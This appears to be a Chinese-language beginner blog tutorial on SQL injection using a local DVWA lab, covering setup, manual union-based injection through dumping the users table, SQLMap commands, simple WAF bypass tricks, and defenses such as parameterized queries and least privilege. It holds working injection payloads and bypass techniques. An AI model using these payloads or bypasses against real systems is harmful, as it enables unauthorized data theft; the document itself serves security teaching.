前言
3 年前,我还是个连select语句都写不明白的网络安全小白。第一次接触 SQL 注入时,对着 DVWA 靶场的登录框,按照教程输入' or 1=1#,按下回车后,居然直接跳转到了管理员后台 —— 屏幕上弹出的 “Welcome admin” 字样,让我盯着终端愣了半分钟。
那是我第一次直观感受到 “漏洞” 的威力:原来不需要复杂的代码,一个简单的字符拼接,就能突破系统的安全防线。后来我花了 3 个月,从手动注入到工具自动化,从靶场练习到 SRC 实战,踩遍了 “引号闭合错误”“盲注判断失误”“WAF 绕过无门” 的坑,终于把 SQL 注入这门 “入门必修课” 彻底吃透。
这篇文章,我会用最通俗的语言、最详细的步骤,带 0 基础的你从 “原理理解” 到 “实战脱库”,连环境搭建的每一步都讲清楚,让你看完就能动手操作 —— 毕竟,SQL 注入的核心不是 “背命令”,而是 “理解漏洞本质”。
一、先搞懂:SQL 注入到底是怎么回事?
很多小白一听到 “SQL 注入” 就觉得复杂,其实它的原理简单到像 “说话产生歧义”。我们先从一个生活中的例子讲起:
比如你去餐厅点餐,对服务员说:“我要一份汉堡和薯条。” 服务员会准确执行;但如果你说:“我要一份汉堡,薯条不要了,再给我来份牛排。” 服务员就会按照新的指令操作 —— 这就是 “拼接” 带来的变化。
SQL 注入的本质,就是利用 “用户输入未过滤” 的漏洞,把恶意 SQL 语句拼接到正常代码里,让数据库执行我们想要的操作。
举个最经典的登录场景例子:
正常的登录 SQL 语句是这样的:
select * from users where username='用户输入' and password='用户输入';
当你输入username='admin'、password='123456'时,语句会变成:
select * from users where username='admin' and password='123456';
数据库会正常验证账号密码。
但如果我们在username里输入' or 1=1#,语句就会变成:
select * from users where username='' or 1=1#' and password='123456';
这里的#会注释掉后面的内容,1=1是永远成立的条件,所以数据库会返回所有用户数据,直接登录成功 —— 这就是最基础的 “布尔盲注” 原理。
简单来说,SQL 注入的核心就是两点:
- 输入可控:用户能控制的参数(如 URL 里的
id、登录框的账号密码); - 拼接执行:用户输入的内容被直接拼接到 SQL 语句中,没有过滤或转义。

二、实战第一步:3 分钟搭好 SQL 注入练习环境
0 基础学 SQL 注入,最容易卡壳的就是 “环境搭建”。我当初因为不会装 DVWA,浪费了整整 2 天时间。这里直接给你 “傻瓜式步骤”,用 PHPStudy+DVWA 搭建本地靶场,全程不超过 5 分钟。
1. 所需工具
- 操作系统:Windows 10/11(新手不建议用 Mac,部分工具兼容性差);
- 集成环境:PHPStudy 8.1(一键搭建 Apache+MySQL+PHP);
- 靶场:DVWA(Damn Vulnerable Web Application,专门用于安全练习的漏洞环境);
- 浏览器:Chrome(装 Burp Suite 插件,后面抓包会用到)。
2. 环境搭建步骤
步骤 1:安装 PHPStudy
- 将适合 Windows 版本的 PhpStudy 安装包下载至本地,并且完成解压:(请看文末扫描免费获取安装包)

- 双击进入解压后的文件夹中,可以看到下面的内容:

- 双击 PhpStudy 安装包,即可进入安装页面,在这里,我们需要设置 PhpStudy 的安装目录,并且确保目录中不存在中文或空格(这里笔者选择安装在 C:\phpstudy_pro 目录下,因为是虚拟机中,如果是实体机的话,我建议安装在 C 盘以外的其他盘符中):

配置完成后,点击 “立即安装” 即可,然后就是耐心等待安装程序完成安装:

安装完成后,桌面会出现一个 phpstudy_pro 的程序快捷键,双击快捷键即可启动程序,启动完成后界面如下,至此 PhpStudy 已安装完毕:

步骤 2:部署 DVWA 靶场
-
下载 DVWA 压缩包:https://github.com/digininja/DVWA(点击 “Code”→“Download ZIP”);(如无法下载,请看文末扫描免费获取安装包)

-
解压压缩包,把文件夹改名为 “dvwa”,复制到 PHPStudy 的网站根目录(
D:\phpstudy_pro\WWW);

- 打开 DVWA 文件夹里的
config目录,把config.inc.php.dist改名为config.inc.php(去掉.dist后缀);

- 用记事本打开“config.inc.php”,找到以下代码,修改数据库配置(和 PHPStudy 的 MySQL 一致):
$_DVWA['db_user'] = 'root'; // PHPStudy默认MySQL用户名
$_DVWA['db_password'] = 'root'; // PHPStudy默认MySQL密码(如果没改就是root)
$_DVWA['db_database'] = 'dvwa'; // 数据库名,后面会自动创建
$_DVWA['db_port'] = '3306'; // MySQL默认端口
- 浏览器访问
http://127.0.0.1/dvwa,点击 “Create / Reset Database”,看到 “Setup Complete” 就成功了
步骤 3:设置 DVWA 安全级别
DVWA 默认安全级别是 “Impossible”(无漏洞),需要改成 “Low”(低安全,适合新手):
- 用账号
admin、密码password登录 DVWA; - 点击左侧 “DVWA Security”,把 “Security Level” 改成 “Low”,点击 “Submit”:
3. 避坑指南
- MySQL 启动失败:如果 PHPStudy 的 MySQL 启动不了,检查是否有其他软件占用 3306 端口(如 MySQL 其他版本),可以在 PHPStudy 里修改端口(“设置”→“端口设置”);
- DVWA 无法连接数据库:确认
config.inc.php里的用户名密码和 PHPStudy 一致,默认都是root; - 点击 “Create Database” 没反应:检查 PHP 版本是否兼容,建议用 PHP 7.3(PHPStudy 里可以切换版本:“软件管理”→“PHP”→“PHP 7.3”)。
三、手动注入实战:从 “判断注入点” 到 “脱库”,一步一步来
手动注入是 SQL 注入的核心,也是面试必问的考点。这里以 DVWA 的 “SQL Injection” 模块为例,带你完成 “判断注入点→查数据库→查表→查字段→拿数据” 的全流程,每个步骤都写清楚命令和原理。
1. 第一步:判断是否存在 SQL 注入点
首先要确定 “哪个参数可控,且存在注入漏洞”。DVWA 的 SQL Injection 模块,URL 是http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,这里的id=1就是可控参数。
判断方法:在参数后加单引号',看页面是否报错(存在注入点的典型特征)。
- 原 URL:
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#(页面正常显示用户信息); - 加单引号后:
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit#(页面报错,提示 “MySQL server version for the right syntax to use near ‘‘1’’ at line 1”)。
报错说明:SQL 语句变成了select * from users where id='1'',多了一个单引号导致语法错误 —— 这证明id参数存在 SQL 注入漏洞!
2. 第二步:判断字段数(用 order by)
知道有注入点后,下一步要确定 “查询结果有多少个字段”(后面联合查询需要字段数匹配)。用order by N(N 是数字)判断,直到页面报错,说明字段数是 N-1。
- 尝试
id=1' order by 1#:页面正常(说明有 1 个字段); - 尝试
id=1' order by 2#:页面正常(说明有 2 个字段); - 尝试
id=1' order by 3#:页面报错(说明没有 3 个字段);
结论:该查询结果有 2 个字段,后面联合查询要用union select 1,2#(字段数必须匹配)。
3. 第三步:查数据库名(用 union select)
union select是联合查询,能把我们想要的结果和原查询结果一起返回。先让原查询无结果(比如id=-1,因为数据库里没有 id=-1 的记录),再拼接我们的查询语句。
执行命令:id=-1' union select database(),version()#
database():查询当前数据库名;version():查询 MySQL 版本;
页面返回结果:DATABASE():dvwa,VERSION():5.7.26(不同环境版本可能不同)。
结论:当前数据库名是dvwa,MySQL 版本是 5.7.x(5.0 以上版本支持information_schema库,后面查表会用到)。
4. 第四步:查数据库里的表名(用 information_schema)
information_schema是 MySQL 的系统库,里面存了所有数据库的表名、字段名。我们要查dvwa数据库下的所有表:
执行命令:id=-1' union select table_name,1 from information_schema.tables where table_schema='dvwa'#
页面返回结果:TABLE_NAME:guestbook、TABLE_NAME:users—— 这就是dvwa数据库下的两个表,其中users表大概率存了账号密码。
5. 第五步:查 users 表的字段名
知道表名是users,下一步查这个表有哪些字段(比如用户名、密码字段):
执行命令:id=-1' union select column_name,1 from information_schema.columns where table_schema='dvwa' and table_name='users'#
页面返回关键字段:user_id、username、password—— 这三个字段就是我们要的核心数据。
6. 第六步:拿 users 表的所有数据(脱库!)
最后一步,查询users表的username和password字段数据:
执行命令:id=-1' union select username,password from users#
页面直接返回所有用户的账号密码:
admin:5f4dcc3b5aa765d61d8327deb882cf99(MD5 加密,解密后是password);gordonb:e99a18c428cb38d5f260853678922e03(解密后是abc123);1337:8d3533d75ae2c3966d7e0d4fcc69216b(解密后是charley);
到这里,我们就完成了从 “判断注入点” 到 “脱库” 的全流程 —— 这就是手动 SQL 注入的核心逻辑,没有复杂工具,只用 URL 参数就拿到了敏感数据!
四、工具实战:用 SQLMap 自动化注入
手动注入适合理解原理,但实战中效率低。SQLMap 是最常用的 SQL 注入自动化工具(Kali 自带,Windows 也能装),能自动判断注入点、查库查表、导出数据,新手只需记住几个核心命令。
1. SQLMap 基础命令(必背 3 个)
SQLMap 的核心语法是:sqlmap -u "目标URL" [参数],以下是新手最常用的 3 个场景:
场景 1:自动判断注入点并查所有数据库
命令:sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
-u:指定目标 URL;--dbs:查询所有数据库名;
执行后,SQLMap 会自动检测注入点类型(如布尔盲注、时间盲注),最后输出所有数据库,包括我们要的dvwa。
场景 2:查指定数据库的所有表
命令:sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables
-D dvwa:指定数据库为dvwa;--tables:查询该数据库下的所有表;
执行后会输出dvwa的两个表:guestbook和users。
场景 3:导出指定表的所有数据
命令:sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --dump
-T users:指定表为users;--dump:导出该表的所有数据;
执行后,SQLMap 会自动解密 MD5 密码(部分简单密码),直接输出明文账号密码,比手动注入效率高 10 倍!
2. 避坑指南:SQLMap 遇到的 2 个常见问题
- DVWA 需要登录才能注入:如果目标 URL 需要登录,用
--cookie
参数携带登录 Cookie(Chrome 按 F12→Application→Cookies→复制 PHPSESSID 和 security),命令:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=abc123; security=low" --dbs
- 注入速度慢用
--threads 10
(10 线程,最大不要超过 10,否则容易被封 IP),命令:
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --dump --threads 10
五、SQL 注入防御:3 个核心方案,从根源杜绝漏洞
学攻击的同时,必须学防御 —— 这是网络安全的核心思维。SQL 注入的防御原理很简单:让用户输入的内容 “无法被当作 SQL 语句执行”,以下是 3 个企业最常用的防御方案。
1. 方案 1:参数化查询(最有效,推荐)
参数化查询(Prepared Statement)是把 SQL 语句和参数分开,参数无论输入什么,都只会被当作 “数据” 而不是 “SQL 代码” 执行。
以 PHP 为例,传统拼接 SQL(有漏洞):
$id = $_GET['id'];
$sql = "select * from users where id='$id'"; // 拼接用户输入,有注入漏洞
参数化查询(无漏洞):
$id = $_GET['id'];
$stmt = $pdo->prepare("select * from users where id=?"); // 用?占位符
$stmt->execute([$id]); // 参数单独传入,不会被解析为SQL代码
现在主流编程语言(PHP、Java、Python)都支持参数化查询,企业开发中必须强制使用。
2. 方案 2:输入过滤与转义(辅助防御)
对用户输入的特殊字符(如'、"、union、select)进行过滤或转义,让恶意语句失效。
比如 PHP 中的mysql_real_escape_string()函数(注意:需配合 UTF8 编码使用):
$id = mysql_real_escape_string($_GET['id']); // 转义特殊字符
$sql = "select * from users where id='$id'"; // 此时输入'会变成\',无法闭合引号
但过滤不是万能的(比如绕过后缀名、编码绕过),必须配合参数化查询使用。
3. 方案 3:最小权限原则(降低危害)
即使发生注入,也要尽量降低损失 —— 给数据库账号设置最小权限:
- 网站连接数据库的账号,只给
select、insert等必要权限,不给drop(删表)、alter(改表)权限; - 禁止数据库账号访问
information_schema等系统库;
比如给 dvwa 账号只授权select权限:
grant select on dvwa.* to 'dvwa_user'@'localhost' identified by '123456';
这样即使被注入,攻击者也无法删表或访问其他数据库,降低危害。
六、实战避坑指南:0 基础必看的 5 个注意事项
- 合法实战!合法实战!合法实战!
绝对不要未经授权测试任何网站(包括学校、公司的网站),否则可能违反《网络安全法》,面临罚款或拘留。练习用本地靶场(DVWA、SQLI-LAB)或 SRC 平台(阿里云 SRC、腾讯 SRC),这些是合法的实战场景。 - 先手动后工具
不要一开始就依赖 SQLMap,手动注入能帮你理解 “漏洞本质”—— 比如为什么order by 3会报错,union select为什么需要字段数匹配。手动练熟后,用工具效率才高。 - 注意编码问题
如果注入时遇到乱码,检查目标网站编码(比如 UTF8、GBK),SQLMap 可以用--encoding GBK指定编码,手动注入时确保浏览器编码和网站一致。 - 遇到 WAF 不要慌
实战中很多网站有 WAF(Web 应用防火墙),会拦截 SQL 注入语句。新手可以先从 “绕过简单 WAF” 开始,比如:- 把
union换成UNION(大小写混淆); - 把
select换成selselectect(双写绕过); - 用
/**/注释符分割关键词(如un/**/ion se/**/lect)。
- 把
- 记录注入过程
每次练习都记录 “注入点判断→查库→查表→拿数据” 的步骤和命令,遇到报错时对照记录排查(比如字段数判断错误、引号闭合错误),我当初就是靠记录错题,3 周就熟练了手动注入。
结语:SQL 注入不是 “黑客秘籍”,而是安全思维的起点
很多小白学完 SQL 注入,会觉得 “自己学会了黑客技术”—— 其实不是。SQL 注入只是网络安全的 “入门砖”,它教会你的核心不是 “怎么拿数据”,而是 “怎么发现漏洞、怎么防御漏洞” 的思维。
就像我现在做渗透测试时,看到登录框、URL 参数,第一反应不是 “能不能注入”,而是 “开发者有没有做参数化查询?有没有过滤输入?”—— 这种 “站在攻击者角度想防御” 的思维,才是 SQL 注入教给我们最宝贵的东西。
如果你是 0 基础,建议按 “环境搭建→手动注入→工具实战→防御学习” 的顺序练习,每天花 1 小时,1 个月就能熟练掌握。记住:网络安全的核心不是 “攻击”,而是 “保护”—— 我们学 SQL 注入,最终目的是让更多系统不再被 SQL 注入攻击。
现在,打开你的 PHPStudy,启动 DVWA,输入第一行注入命令' or 1=1#—— 你的网络安全实战之旅,就从这里开始。
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取





被折叠的 条评论
为什么被折叠?



